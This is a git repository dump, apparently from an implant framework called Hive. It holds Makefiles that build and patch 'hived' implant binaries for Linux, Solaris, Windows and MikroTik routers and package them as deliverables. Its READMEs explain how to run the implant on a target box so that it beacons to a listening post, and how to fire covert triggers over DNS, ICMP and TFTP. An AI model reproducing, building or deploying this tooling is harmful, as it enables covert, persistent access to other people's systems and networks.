CFLAGS += -D_USE_UNLINK
CFLAGS += -D_GNU_SOURCE
LDFLAGS += -lutil
diff --git a/common/Makefile-include.mikrotik-x86 b/common/Makefile-include.mikrotik-x86
index 9de2a20..d512c83 100644
--- a/common/Makefile-include.mikrotik-x86
+++ b/common/Makefile-include.mikrotik-x86
@@ -14,6 +14,7 @@ STRIP=${BUILDTOOLS}/$(ARCH)-linux-sstrip
CFLAGS += -I$(UCLIBC_HDRS)
CFLAGS += -DLINUX -DMIKROTIK -D_X86 -m32 -static
CFLAGS += -DUCLIBC
+CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -D_USE_ASH -D_GNU_SOURCE
LDFLAGS += -lutil -L$(UCLIBC_LIBS)
tree 5e6f8443fbecc0c5d47e76e231ab385bccd5760f
bzip2-1.0.6.tar.gz
bzip2-1.0.6/
bzlib.h
libbz2.lib
# ------------------------------------------------------------------
# This file is part of bzip2/libbzip2, a program and library for
# lossless, block-sorting data compression.
#
# bzip2/libbzip2 version 1.0.6 of 6 September 2010
# Copyright (C) 1996-2010 Julian Seward <jseward@bzip.org>
#
# Please read the WARNING, DISCLAIMER and PATENTS sections in the
# README file.
#
# This program is released under the terms of the license contained
# in the file LICENSE.
# ------------------------------------------------------------------
SHELL=/bin/sh
# To assist in cross-compiling
ARCH=arm
BUILDROOT=/opt/arm-devel
BUILDTOOLS=$(BUILDROOT)/usr/bin
TOOLROOT=$(BUILDTOOLS)/arm-unknown-linux-gnueabi-
UCLIBC_HDRS=$(BUILDTOOLS)/include
UCLIBC_LIBS=$(BUILDTOOLS)/lib
CC=${TOOLROOT}gcc
AR=${TOOLROOT}ar
RANLIB=${TOOLROOT}ranlib
#BIGFILES=-D_FILE_OFFSET_BITS=64
# Using the library in a stdio-free environment.
# See Section 3.7 of manual.pdf
# With STDIO_FREE set, the resulting .a is reduced in size
# from 170,842 to 133,980 bytes (on Linux x86). The resulting
# Hive binary (on Linux x86) goes from 177,808 to 169,584 bytes
# Before bzip library added, application binary was 121,448 bytes
#STDIO_FREE=-DBZ_NO_STDIO
CFLAGS=-Wall -Os -I$(UCLIBC_HDRS) -L$(UCLIBC_LIBS) $(BIGFILES) $(STDIO_FREE)
# Where you want it installed when you do 'make install'
PREFIX=/usr/local
OBJS= blocksort.o \
huffman.o \
crctable.o \
randtable.o \
compress.o \
decompress.o \
bzlib.o
all: libbz2.a bzip2 bzip2recover #test
bzip2: libbz2.a bzip2.o
$(CC) $(CFLAGS) $(LDFLAGS) -o bzip2 bzip2.o -L. -lbz2
bzip2recover: bzip2recover.o
$(CC) $(CFLAGS) $(LDFLAGS) -o bzip2recover bzip2recover.o
libbz2.a: $(OBJS)
rm -f libbz2.a
$(AR) cq libbz2.a $(OBJS)
@if ( test -f $(RANLIB) -o -f /usr/bin/ranlib -o \
-f /bin/ranlib -o -f /usr/ccs/bin/ranlib ) ; then \
echo $(RANLIB) libbz2.a ; \
$(RANLIB) libbz2.a ; \
fi
check: test
test: bzip2
@cat words1
./bzip2 -1 < sample1.ref > sample1.rb2
./bzip2 -2 < sample2.ref > sample2.rb2
./bzip2 -3 < sample3.ref > sample3.rb2
./bzip2 -d < sample1.bz2 > sample1.tst
./bzip2 -d < sample2.bz2 > sample2.tst
./bzip2 -ds < sample3.bz2 > sample3.tst
cmp sample1.bz2 sample1.rb2
cmp sample2.bz2 sample2.rb2
cmp sample3.bz2 sample3.rb2
cmp sample1.tst sample1.ref
cmp sample2.tst sample2.ref
cmp sample3.tst sample3.ref
@cat words3
install: bzip2 bzip2recover
if ( test ! -d $(PREFIX)/bin ) ; then mkdir -p $(PREFIX)/bin ; fi
if ( test ! -d $(PREFIX)/lib ) ; then mkdir -p $(PREFIX)/lib ; fi
if ( test ! -d $(PREFIX)/man ) ; then mkdir -p $(PREFIX)/man ; fi
if ( test ! -d $(PREFIX)/man/man1 ) ; then mkdir -p $(PREFIX)/man/man1 ; fi
if ( test ! -d $(PREFIX)/include ) ; then mkdir -p $(PREFIX)/include ; fi
cp -f bzip2 $(PREFIX)/bin/bzip2
cp -f bzip2 $(PREFIX)/bin/bunzip2
cp -f bzip2 $(PREFIX)/bin/bzcat
cp -f bzip2recover $(PREFIX)/bin/bzip2recover
chmod a+x $(PREFIX)/bin/bzip2
chmod a+x $(PREFIX)/bin/bunzip2
chmod a+x $(PREFIX)/bin/bzcat
chmod a+x $(PREFIX)/bin/bzip2recover
cp -f bzip2.1 $(PREFIX)/man/man1
chmod a+r $(PREFIX)/man/man1/bzip2.1
cp -f bzlib.h $(PREFIX)/include
chmod a+r $(PREFIX)/include/bzlib.h
cp -f libbz2.a $(PREFIX)/lib
chmod a+r $(PREFIX)/lib/libbz2.a
cp -f bzgrep $(PREFIX)/bin/bzgrep
ln -s -f $(PREFIX)/bin/bzgrep $(PREFIX)/bin/bzegrep
ln -s -f $(PREFIX)/bin/bzgrep $(PREFIX)/bin/bzfgrep
chmod a+x $(PREFIX)/bin/bzgrep
cp -f bzmore $(PREFIX)/bin/bzmore
ln -s -f $(PREFIX)/bin/bzmore $(PREFIX)/bin/bzless
chmod a+x $(PREFIX)/bin/bzmore
cp -f bzdiff $(PREFIX)/bin/bzdiff
ln -s -f $(PREFIX)/bin/bzdiff $(PREFIX)/bin/bzcmp
chmod a+x $(PREFIX)/bin/bzdiff
cp -f bzgrep.1 bzmore.1 bzdiff.1 $(PREFIX)/man/man1
chmod a+r $(PREFIX)/man/man1/bzgrep.1
chmod a+r $(PREFIX)/man/man1/bzmore.1
chmod a+r $(PREFIX)/man/man1/bzdiff.1
echo ".so man1/bzgrep.1" > $(PREFIX)/man/man1/bzegrep.1
echo ".so man1/bzgrep.1" > $(PREFIX)/man/man1/bzfgrep.1
echo ".so man1/bzmore.1" > $(PREFIX)/man/man1/bzless.1
echo ".so man1/bzdiff.1" > $(PREFIX)/man/man1/bzcmp.1
clean:
rm -f *.o libbz2.a bzip2 bzip2recover \
sample1.rb2 sample2.rb2 sample3.rb2 \
sample1.tst sample2.tst sample3.tst
blocksort.o: blocksort.c
@cat words0
$(CC) $(CFLAGS) -c blocksort.c
huffman.o: huffman.c
$(CC) $(CFLAGS) -c huffman.c
crctable.o: crctable.c
$(CC) $(CFLAGS) -c crctable.c
randtable.o: randtable.c
$(CC) $(CFLAGS) -c randtable.c
compress.o: compress.c
$(CC) $(CFLAGS) -c compress.c
decompress.o: decompress.c
$(CC) $(CFLAGS) -c decompress.c
bzlib.o: bzlib.c
$(CC) $(CFLAGS) -c bzlib.c
bzip2.o: bzip2.c
$(CC) $(CFLAGS) -c bzip2.c
bzip2recover.o: bzip2recover.c
$(CC) $(CFLAGS) -c bzip2recover.c
distclean: clean
rm -f manual.ps manual.html manual.pdf
DISTNAME=bzip2-1.0.6
dist: check manual
rm -f $(DISTNAME)
ln -s -f . $(DISTNAME)
tar cvf $(DISTNAME).tar \
$(DISTNAME)/blocksort.c \
$(DISTNAME)/huffman.c \
$(DISTNAME)/crctable.c \
$(DISTNAME)/randtable.c \
$(DISTNAME)/compress.c \
$(DISTNAME)/decompress.c \
$(DISTNAME)/bzlib.c \
$(DISTNAME)/bzip2.c \
$(DISTNAME)/bzip2recover.c \
$(DISTNAME)/bzlib.h \
$(DISTNAME)/bzlib_private.h \
$(DISTNAME)/Makefile \
$(DISTNAME)/LICENSE \
$(DISTNAME)/bzip2.1 \
$(DISTNAME)/bzip2.1.preformatted \
$(DISTNAME)/bzip2.txt \
$(DISTNAME)/words0 \
$(DISTNAME)/words1 \
$(DISTNAME)/words2 \
$(DISTNAME)/words3 \
$(DISTNAME)/sample1.ref \
$(DISTNAME)/sample2.ref \
$(DISTNAME)/sample3.ref \
$(DISTNAME)/sample1.bz2 \
$(DISTNAME)/sample2.bz2 \
$(DISTNAME)/sample3.bz2 \
$(DISTNAME)/dlltest.c \
$(DISTNAME)/manual.html \
$(DISTNAME)/manual.pdf \
$(DISTNAME)/manual.ps \
$(DISTNAME)/README \
$(DISTNAME)/README.COMPILATION.PROBLEMS \
$(DISTNAME)/README.XML.STUFF \
$(DISTNAME)/CHANGES \
$(DISTNAME)/libbz2.def \
$(DISTNAME)/libbz2.dsp \
$(DISTNAME)/dlltest.dsp \
$(DISTNAME)/makefile.msc \
$(DISTNAME)/unzcrash.c \
$(DISTNAME)/spewG.c \
$(DISTNAME)/mk251.c \
$(DISTNAME)/bzdiff \
$(DISTNAME)/bzdiff.1 \
$(DISTNAME)/bzmore \
$(DISTNAME)/bzmore.1 \
$(DISTNAME)/bzgrep \
$(DISTNAME)/bzgrep.1 \
$(DISTNAME)/Makefile-libbz2_so \
$(DISTNAME)/bz-common.xsl \
$(DISTNAME)/bz-fo.xsl \
$(DISTNAME)/bz-html.xsl \
$(DISTNAME)/bzip.css \
$(DISTNAME)/entities.xml \
$(DISTNAME)/manual.xml \
$(DISTNAME)/format.pl \
$(DISTNAME)/xmlproc.sh
gzip -v $(DISTNAME).tar
# For rebuilding the manual from sources on my SuSE 9.1 box
MANUAL_SRCS= bz-common.xsl bz-fo.xsl bz-html.xsl bzip.css \
entities.xml manual.xml
manual: manual.html manual.ps manual.pdf
manual.ps: $(MANUAL_SRCS)
./xmlproc.sh -ps manual.xml
manual.pdf: $(MANUAL_SRCS)
./xmlproc.sh -pdf manual.xml
manual.html: $(MANUAL_SRCS)
./xmlproc.sh -html manual.xml
tree ce34fa978571d2cde6f6807771d4d3f54261a006
Makefile
crypto.c
crypto.h
crypto_strings.txt
dhExchange.c
function_strings.h
loki_utils.c
loki_utils.h
mod_gen_cryptostring_header.py
mod_gen_string_header.py
mod_hexify.py
string_utils.h
tag hive-2.6.1
Tagger: miker <miker@stash.devlan.net>
Date: Thu Aug 8 15:43:13 2013 -0400
commit 4ef143682a263d46da528f94adb156b9e39ef799
Author: miker <miker@stash.devlan.net>
Date: Thu Aug 8 15:33:44 2013 -0400
Hive version 2.6.1 as of 8 August 2013 as pulled from old repository https://teamforge.devlan.net/svn/repos/hive/tags/hive-2.6.1. A lot of the old directories have been removed to simplify future builds using git. All subversion directories have been removed.
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..77ba9db
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,73 @@
+
+all:
+ @echo
+ @echo " Options:"
+ @echo " . make clean"
+ @echo " . make svnclean"
+ @echo " . make tarball"
+ @echo " . make patcher"
+ @echo
+
+clean:
+ make -C server clean
+ make -C client clean
+ make -C honeycomb clean
+ make -C server/bzip/bzip2-1.0.6 clean
+ rm -rf hive.tar Logs
+
+svnclean: clean
+ make -C client patcher
+ make -C libs/polarssl-0.14.0/library clean
+ make -C libs/polarssl-0.14.0/programs clean
+# only difference between 'make clean' and commands below
+# is 'make -C client' calls 'svnclean' rather than 'clean'
+ make -C client svnclean
+ make -C honeycomb clean
+ make -C server/bzip/bzip2-1.0.6 clean
+ rm -rf hive.tar Logs
+
+tarball:
+ @tar --exclude .svn --exclude HiveServer.sdf --exclude *.gz --exclude *.tar --exclude *.tgz -cvf hive.tar * >/dev/null
+
+ilm-tar:
+ tar --exclude .svn --exclude HiveServer.sdf --exclude *.gz --exclude *.tar --exclude *.tgz -czvf hive-ilm-1.1.tgz client/ libs/ ilm-client/
+
+patcher:
+ cd server && make clean && make linux-x86
+ cd server && make clean && make mikrotik-x86
+ cd server && make clean && make mikrotik-ppc
+ cd server && make clean && make mikrotik-mipsbe
+ cd server && make clean && make mikrotik-mipsle
+ cp server/hived-linux-i686 client/hived-linux-i386-unpatched
+ cp server/hived-mikrotik-i386 client/hived-mikrotik-i386-unpatched
+ cp server/hived-mikrotik-ppc client/hived-mikrotik-ppc-unpatched
+ cp server/hived-mikrotik-mipsbe client/hived-mikrotik-mipsbe-unpatched
+ cp server/hived-mikrotik-mipsle client/hived-mikrotik-mipsle-unpatched
+ cd client && make clean && make patcher
+
+linux-x86:
+ @make -C server $@
+ @echo $@
+
+deliverables: tarball
+ rm -rf deliverables/*
+ mkdir -p deliverables/BIN
+ mkdir -p deliverables/DOC
+ mkdir -p deliverables/SRC
+ mkdir -p deliverables/OTHER
+ bzip2 -fc hive.tar > deliverables/SRC/hive.tar.bz2
+ cp -a ilm-client/CCS.xml* deliverables/BIN
+ cp -a ilm-client/cutthroat* deliverables/BIN
+ cp -a ilm-client/hive deliverables/BIN
+ cp -a ilm-client/hive.md5 deliverables/BIN
+ cp -a client/hive-patcher deliverables/BIN
+ cp -a client/hive-patcher.md5 deliverables/BIN
+ cp -a ilm-client/resetTimer_v1.0/hiveReset_v1_0.py deliverables/BIN
+ cp -a ilm-client/server.key deliverables/BIN
+ cp -a ilm-client/server.crt deliverables/BIN
+ cp -a ilm-client/ca.crt deliverables/BIN
+ cp -a honeycomb/honeycomb.py deliverables/BIN
+ md5sum honeycomb/honeycomb.py > deliverables/BIN/honeycomb.py.md5
+ mkdir -p deliverables/BIN/unpatched
+ cp -a client/hived-*-*-unpatched deliverables/BIN/unpatched
+ cp -a documentation/UsersGuide/* deliverables/DOC/
diff --git a/README b/README
new file mode 100644
index 0000000..628e92f
--- /dev/null
+++ b/README
@@ -0,0 +1,41 @@
+
+//*************************************************************************
+nc.sh - scripted netcat listener to emulate listening post until LP is set up
+
+ Usage: ./nc.sh
+
+
+//*************************************************************************
+hclient - hive client that works with Windows, Solaris, and Linux implant
+
+ Usage:
+ ./hclient-linux-dbg [-p port]
+ ./hclient-linux-dbg [-p port] [-t address] [-a address] [-P protocol] [-d delay]
+
+ Depending on options, client can send triggers, listen, or both
+ [-p port] - callback port
+ [-t address] - IP address of target
+ [-a address] - IP address of listener
+ [-P protocol] - trigger protocol
+ [-d delay] - (optional) delay between received trigger and callback
+ [-h ] - print this usage
+
+ Examples:
+ Coming soon!
+
+//*************************************************************************
+hived - hive implant
+
+ Usage:
+ ./hived-solaris-sparc-dbg -a <ip address> -p <port>
+
+ -a - Beacon IP address to callback to
+ -p - Beacon port
+ -I - interface [required, only for Solaris, e.g. hme0, e1000g0]
+ -d - Initial Beacon delay in milliseconds
+ -i - Beacon interval in milliseconds
+ -h - Print help
+
+ Example:
+ ./hived-solaris-sparc-dbg -a 10.3.2.76 -p 9999 -i 100000 -I hme0
+
diff --git a/client/As b/client/As
new file mode 100644
index 0000000..b36bf8f
--- /dev/null
+++ b/client/As
@@ -0,0 +1,2 @@
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
diff --git a/client/Hive1_Makefile b/client/Hive1_Makefile
new file mode 100644
index 0000000..bae0e3d
--- /dev/null
+++ b/client/Hive1_Makefile
@@ -0,0 +1,95 @@
+
+CC = gcc
+BINARY = hclient-linux
+
+POLARSSL = ../libs/polarssl-0.14.0
+INCLUDES = -I$(POLARSSL)/include -I../libs -I.
+LIBPOLARSSL = $(POLARSSL)/library/libpolarssl.a
+
+LDFLAGS = -lpthread
+
+#CFLAGS += -Wall -Os -D_FILE_OFFSET_BITS=64 -m32
+CFLAGS += -Wall -Os -m32
+CFLAGS += $(INCLUDES) $(LDFLAGS)
+
+DFLAGS = $(CFLAGS) -DDEBUG -D_DEBUG
+DFLAGS += $(INCLUDES) $(LDFLAGS)
+
+CFILES = main.c functions.c misc.c modes.c parser.c \
+ trigger.c trigger_configuration.c trigger_network.c \
+ trigger_protocols.c b64.c trigger_utils.c threads.c \
+ string_utils.o init_strings.o init_crypto_strings.o ../libs/crypto.c $(LIBPOLARSSL)
+
+UNPATCHED_SOLARIS_SPARC = hived-solaris-sparc-unpatched
+UNPATCHED_WINDOWS_I386 = hived-windows-i386-unpatched.exe
+UNPATCHED_LINUX_I386 = hived-linux-i386-unpatched
+
+all: $(LIBPOLARSSL) hclient debug patcher
+
+$(LIBPOLARSSL):
+ make -C $(POLARSSL)/library
+
+release: hclient
+
+hclient: $(LIBPOLARSSL) strings
+ ${CC} ${CFLAGS} -o ${BINARY} ${CFILES}
+ strip ${BINARY}
+ md5sum ${BINARY} > ${BINARY}.md5
+
+debug: $(LIBPOLARSSL) strings
+ ${CC} ${DFLAGS} -o ${BINARY}-dbg ${CFILES}
+ md5sum ${BINARY}-dbg > ${BINARY}-dbg.md5
+
+strings: init_strings.o string_utils.o init_crypto_strings.o
+
+init_crypto_strings.o: init_crypto_strings.c string_utils.o
+ gcc -c init_crypto_strings.c
+
+init_crypto_strings.c: crypto_strings.txt string_utils.o
+ python mod_gen_cryptostring_header.py crypto_strings.txt CRYPTO_STRINGS
+
+init_strings.o: init_strings.c string_utils.o
+ ${CC} -c init_strings.c
+
+init_strings.c: client_strings.txt string_utils.h
+ python mod_gen_string_header.py client_strings.txt CLIENT_STRINGS
+
+string_utils.o: string_utils.c string_utils.h
+ ${CC} -c string_utils.c string_utils.h
+
+patcher: $(UNPATCHED_SOLARIS_SPARC) $(UNPATCHED_LINUX_I386) $(UNPATCHED_WINDOWS_I386)
+ @echo
+ @echo " Latest, unpatched builds of Solaris and Windows binaries "
+ @echo " must be present with the following naming conventions:"
+ @echo " . hived-windows-i386-unpatched.exe"
+ @echo " . hived-solaris-sparc-unpatched"
+ @echo " . hived-linux-i386-unpatched"
+ @echo
+ xxd -i $(UNPATCHED_WINDOWS_I386) _unpatched_windows_i386.h
+ xxd -i $(UNPATCHED_SOLARIS_SPARC) _unpatched_solaris_sparc.h
+ xxd -i $(UNPATCHED_LINUX_I386) _unpatched_linux_i386.h
+ gcc -m32 -Os -W -Wall -I. string_utils.c patcher.c -o hive-patcher
+ strip hive-patcher
+ md5sum hive-patcher > hive-patcher.md5
+
+clean:
+ rm -f ${BINARY}* ${BINARY}-dbg* *.o *.a init_strings.c core
+ rm -f _unpatched_solaris_sparc.h _unpatched_windows_i386.h _unpatched_linux_i386.h
+ rm -f hive-patcher *PATCHED *PATCHED.exe
+ rm -f *UNpatched*
+ rm -f init_strings.*
+ rm -f init_crypto_strings.*
+ rm -f string_utils.o
+ rm -f crypto_strings_main.h
+ rm -f string_utils.h.*
+ rm -f crypto_proj_strings.h
+ make -C $(POLARSSL)/library clean
+
+svnclean:
+ rm -f *.o *.a init_strings.c core
+ rm -f _unpatched_solaris_sparc.h _unpatched_windows_i386.h _unpatched_linux_i386.h
+ rm -f *PATCHED *PATCHED.exe
+ rm -f crypto_strings_main.h
+ rm -f init_crypto_strings.c
+ rm -f crypto_proj_strings.h
+ rm -f string_utils.h.gch
diff --git a/client/Makefile b/client/Makefile
new file mode 100644
index 0000000..df28841
--- /dev/null
+++ b/client/Makefile
@@ -0,0 +1,152 @@
+
+CC = gcc
+BINARY = hclient-linux
+
+POLARSSL = ssl/polarssl
+INCLUDES = -I$(POLARSSL)/include -I../libs -I. -Icryptcat
+LIBPOLARSSL = $(POLARSSL)/library/libpolarssl.a
+
+LDFLAGS = -lpthread
+
+#CFLAGS += -Wall -Os -D_FILE_OFFSET_BITS=64 -m32
+CFLAGS += -Wall -Os -m32
+CFLAGS += $(INCLUDES) $(LDFLAGS)
+
+DFLAGS = $(CFLAGS) -DDEBUG -D_DEBUG
+DFLAGS += $(INCLUDES) $(LDFLAGS)
+
+CRYPTCAT = -DLINUX cryptcat/netcat.c
+#CRYPTCAT = -DLINUX -lstdc++ cryptcat/farm9crypt.cc cryptcat/twofish.cc cryptcat/netcat.c
+LIBFILES = trigger_utils.c trigger_network.c trigger_protocols.c ssl/crypto.c
+#LIBFILES += string_utils.o init_strings.o init_crypto_strings.o $(LIBPOLARSSL)
+
+CFILES = main.c functions.c misc.c modes.c parser.c \
+ trigger.c trigger_network.c \
+ trigger_protocols.c b64.c trigger_utils.c threads.c \
+ string_utils.o init_strings.o init_crypto_strings.o \
+ ssl/crypto.c $(LIBPOLARSSL)
+
+UNPATCHED_SOLARIS_SPARC = hived-solaris-sparc-unpatched
+UNPATCHED_SOLARIS_I386 = hived-solaris-i386-unpatched
+UNPATCHED_WINDOWS_I386 = hived-windows-i386-unpatched.exe
+UNPATCHED_LINUX_I386 = hived-linux-i386-unpatched
+UNPATCHED_MIKROTIK_I386 = hived-mikrotik-i386-unpatched
+UNPATCHED_MIKROTIK_MIPSBE = hived-mikrotik-mipsbe-unpatched
+UNPATCHED_MIKROTIK_MIPSLE = hived-mikrotik-mipsle-unpatched
+UNPATCHED_MIKROTIK_PPC = hived-mikrotik-ppc-unpatched
+
+UNPATCHED_BINS = $(UNPATCHED_SOLARIS_SPARC) $(UNPATCHED_LINUX_I386) $(UNPATCHED_WINDOWS_I386)
+UNPATCHED_BINS += $(UNPATCHED_SOLARIS_I386) $(UNPATCHED_MIKROTIK_I386) $(UNPATCHED_MIKROTIK_MIPSBE)
+UNPATCHED_BINS += $(UNPATCHED_MIKROTIK_PPC) $(UNPATCHED_MIKROTIK_MIPSLE)
+
+.PHONY: all
+all: $(LIBPOLARSSL) hclient debug patcher
+
+$(LIBPOLARSSL):
+ cd $(POLARSSL)/library && $(MAKE) -f Makefile.linux-x86
+# cd $(POLARSSL)/library && $(MAKE) -f Makefile.linux-x86_64
+
+.PHONY: release
+release: hclient
+
+.PHONY: hclient
+hclient: $(LIBPOLARSSL) strings
+ ${CC} ${CFLAGS} -o ${BINARY} ${CFILES} ${LDFLAGS}
+ strip ${BINARY}
+ md5sum ${BINARY} > ${BINARY}.md5
+
+.PHONY: debug
+debug: $(LIBPOLARSSL) strings
+ ${CC} ${DFLAGS} -o ${BINARY}-dbg ${CFILES} ${LDFLAGS}
+ md5sum ${BINARY}-dbg > ${BINARY}-dbg.md5
+
+#library: $(LIBPOLARSSL) strings
+library: strings
+ gcc $(CFLAGS) -c $(LIBFILES)
+ ar rv libhclient.a *.o
+ ranlib libhclient.a
+
+libcryptcat: cryptcat/farm9crypt.o cryptcat/twofish2.o
+ gcc -c $(CRYPTCAT)
+ ar rv libcryptcat.a netcat.o farm9crypt.o twofish2.o
+ ranlib libcryptcat.a
+
+cryptcat/farm9crypt.o: cryptcat/farm9crypt.cc cryptcat/farm9crypt.h
+ gcc -c cryptcat/farm9crypt.cc
+
+cryptcat/twofish2.o: cryptcat/twofish2.cc cryptcat/twofish2.h
+ gcc -c cryptcat/twofish2.cc
+
+.PHONY: strings
+strings: init_strings.o string_utils.o init_crypto_strings.o
+
+init_crypto_strings.o: init_crypto_strings.c string_utils.o
+ gcc -c init_crypto_strings.c
+
+init_crypto_strings.c: crypto_strings.txt string_utils.o
+ python mod_gen_cryptostring_header.py crypto_strings.txt CRYPTO_STRINGS
+
+init_strings.o: init_strings.c string_utils.o
+ ${CC} -c init_strings.c
+
+init_strings.c: client_strings.txt string_utils.h
+ python mod_gen_string_header.py client_strings.txt CLIENT_STRINGS
+
+string_utils.o: string_utils.c string_utils.h
+ ${CC} -c string_utils.c string_utils.h
+
+.PHONY: patcher
+patcher: $(UNPATCHED_BINS)
+ @echo
+ @echo " Latest, unpatched builds of binaries must be"
+ @echo " present with the following naming conventions:"
+ @echo " . hived-windows-i386-unpatched.exe"
+ @echo " . hived-solaris-sparc-unpatched"
+ @echo " . hived-solaris-i386-unpatched"
+ @echo " . hived-linux-i386-unpatched"
+ @echo " . hived-mikrotik-i386-unpatched"
+ @echo " . hived-mikrotik-mipsbe-unpatched"
+ @echo " . hived-mikrotik-mipsle-unpatched"
+ @echo " . hived-mikrotik-ppc-unpatched"
+ @echo
+ xxd -i $(UNPATCHED_WINDOWS_I386) _unpatched_windows_i386.h
+ xxd -i $(UNPATCHED_SOLARIS_SPARC) _unpatched_solaris_sparc.h
+ xxd -i $(UNPATCHED_SOLARIS_I386) _unpatched_solaris_i386.h
+ xxd -i $(UNPATCHED_LINUX_I386) _unpatched_linux_i386.h
+ xxd -i $(UNPATCHED_MIKROTIK_I386) _unpatched_mikrotik_i386.h
+ xxd -i $(UNPATCHED_MIKROTIK_MIPSBE) _unpatched_mikrotik_mipsbe.h
+ xxd -i $(UNPATCHED_MIKROTIK_MIPSLE) _unpatched_mikrotik_mipsle.h
+ xxd -i $(UNPATCHED_MIKROTIK_PPC) _unpatched_mikrotik_ppc.h
+ gcc -m32 -Os -W -Wall -I. string_utils.c patcher.c -o hive-patcher
+ strip hive-patcher
+ md5sum hive-patcher > hive-patcher.md5
+
+.PHONY: clean
+clean:
+ rm -f ${BINARY}* ${BINARY}-dbg* *.o *.a init_strings.c core cryptcat/*.o cryptcat/cryptcat
+# rm -f _unpatched_solaris_sparc.h _unpatched_windows_i386.h _unpatched_linux_i386.h
+ rm -f _unpatched_*.h
+ rm -f hive-patcher *PATCHED *PATCHED.exe
+ rm -f *UNpatched*
+ rm -f init_strings.*
+ rm -f init_crypto_strings.*
+ rm -f string_utils.o
+ rm -f crypto_strings_main.h
+ rm -f string_utils.h.*
+ rm -f crypto_proj_strings.h
+ rm -f mod_hexify.pyc
+ make -C $(POLARSSL)/library clean
+
+.PHONY: svnclean
+svnclean:
+ rm -f *.o init_strings.c core
+ rm -f _unpatched_*.h
+# rm -f _unpatched_solaris_sparc.h _unpatched_windows_i386.h _unpatched_linux_i386.h
+# rm -f _unpatched_solaris_i386.h _unpatched_mikrotik_i386.h
+ rm -f *PATCHED *PATCHED.exe
+ rm -f *UNpatched*
+ rm -f crypto_strings_main.h
+ rm -f init_crypto_strings.c
+ rm -f crypto_proj_strings.h
+ rm -f string_utils.h.gch
+ rm -f mod_hexify.pyc
diff --git a/client/README.txt b/client/README.txt
new file mode 100644
index 0000000..8feb0fa
--- /dev/null
+++ b/client/README.txt
@@ -0,0 +1,105 @@
+
+1. Given the following setup using eth0 on both boxes for now:
+Client ip Address = 10.3.2.92 <---> Server ip Address=10.3.2.134
+
+2. On client, run the following command to start the listener for the
+beacons:
+"./nc.sh"
+
+3. The next section shows the proper usage statement for the hived...
+
+-----------------------------------------------------------------------
+
+ Usage:
+ ./hived-linux-i686-dbg -a [address] -p [port]
+
+ [-a address] - beacon LP IP address
+ [-p port] - beacon LP port
+ [-I interface] - Solaris only, interface to listen for triggers
+ [-d delay] - initial beacon delay (in milliseconds)
+ [-i interval] - beacon interval (in milliseconds)
+ [-h] - print help
+
+
+ Example:
+ ./hived-solaris-sparc-dbg -a 10.3.2.76 -p 9999 -i 100000 -I hme0
+
+-----------------------------------------------------------------------
+
+ On the server which is also the implant on the target box, run
+the following command to start the beacons:
+./hived-ARCH-PROCESSOR(-dbg) -I hme0 -a 10.3.2.92 -p 9999 -i 60000
+
+ ARCH= linux, solaris
+ PROCESSOR= i386, i686
+ The -dbg extension permits the debugged version of the code to
+ run.
+
+ The -I option FOR SOLARIS ONLY must be either "hme0" or "e1000gX"
+ where X is some number 0, 1, ... Please run "ifconfig -a" to
+ see which one exactly.
+
+ The -a option provides the address for the client which will be
+ receiving the beacons and is the address of the box running the
+ "nc.sh" command listed in 2 above.
+
+ The -i option is the interval between beacons in miliseconds so
+ 60000 = 60 seconds = 1 minute.
+
+ Note the -p option stands for the port that the client will be
+ listening on. In our case, the nc.sh script is listening on port
+ 9999. You may change nc.sh script on the client to listen on
+ other posts if you want to use a different setting.
+
+ a. For my solaris server box, I issued the following command:
+ "./hived-solaris-sparc -a 10.3.2.92 -p 9999 -i 60000"
+ If my server was a linux box, I would issue the following command:
+ "./hived-linux-i686 -a 10.3.2.92 -p 9999 -i 60000"
+ If my server was a windows box, I would issue the following command:
+ "HiveServer.exe -a 10.3.2.92 -p 9999"
+
+ Note that the windows default interval is 60 seconds so the
+ -i option was not used but it can be used for another interval
+ setting.
+
+4. The proper usage parameters for hclient are shown below...
+
+-----------------------------------------------------------------------
+
+ Usage:
+ ./hclient-linux-dbg [-p port]
+ ./hclient-linux-dbg [-p port] [-t address] [-a address] [-P protocol] [-d delay]
+
+ Depending on options, client can send triggers, listen, or both
+ [-p port] - callback port
+ [-t address] - IP address of target
+ [-a address] - IP address of listener
+ [-P protocol] - trigger protocol
+ [-d delay] - (optional) delay between received trigger and callback
+ [-h ] - print this usage
+
+ Examples:
+ Coming soon!
+-----------------------------------------------------------------------
+
+
+ For the client to send a trigger, I would enter the following
+command:
+ "./hlient(-dbg) -P dns-request -p 33333 -t 10.3.2.134 -a 10.3.2.92"
+
+ Valid entries for the -P option (i..e. Trigger Protocol) are as follows:
+ dns-request
+ ping-request
+ ping-reply
+ icmp-error
+ tftp-wrq
+
+ The -p option stands for the port that the client will have open while listening for the trigger responses to be received.
+
+ The -t option is the address of the box targetted for receiving the trigger (i.e. The address of
+ the server from paragraph 1 above.)
+
+ The -a address of the client that is running the nc.sh command from paragraph 2 above and is the
+ client address.
+
+
diff --git a/client/b64.c b/client/b64.c
new file mode 100644
index 0000000..6e6210b
--- /dev/null
+++ b/client/b64.c
@@ -0,0 +1,199 @@
+#include <stdlib.h>
+#include <stdint.h>
+#include <stdio.h>
+
+#include "b64.h"
+#include "trigger_debug.h"
+
+static void
+b64_decodeblock( unsigned char in[4],
+ unsigned char out[3] );
+
+static void
+b64_encodeblock( unsigned char in[3],
+ unsigned char out[4], int len );
+/*
+ * Translation Table as described in RFC1113
+ */
+static const char cb64[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
+
+/*
+ * Translation Table to decode (created by author)
+ */
+static const char cd64[]="|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\\]^_`abcdefghijklmnopq";
+
+/*
+** encodeblock
+**
+** encode 3 8-bit binary bytes as 4 '6-bit' characters
+*/
+
+void
+b64_encodeblock( unsigned char in[3],
+ unsigned char out[4], int len )
+{
+
+ out[0] = cb64[ in[0] >> 2 ];
+
+ out[1] = cb64[ ((in[0] & 0x03) << 4) | ((in[1] & 0xf0) >> 4) ];
+
+ out[2] = (unsigned char) (len > 1 ? cb64[ ((in[1] & 0x0f) << 2) | ((in[2] & 0xc0) >> 6) ] : '=');
+
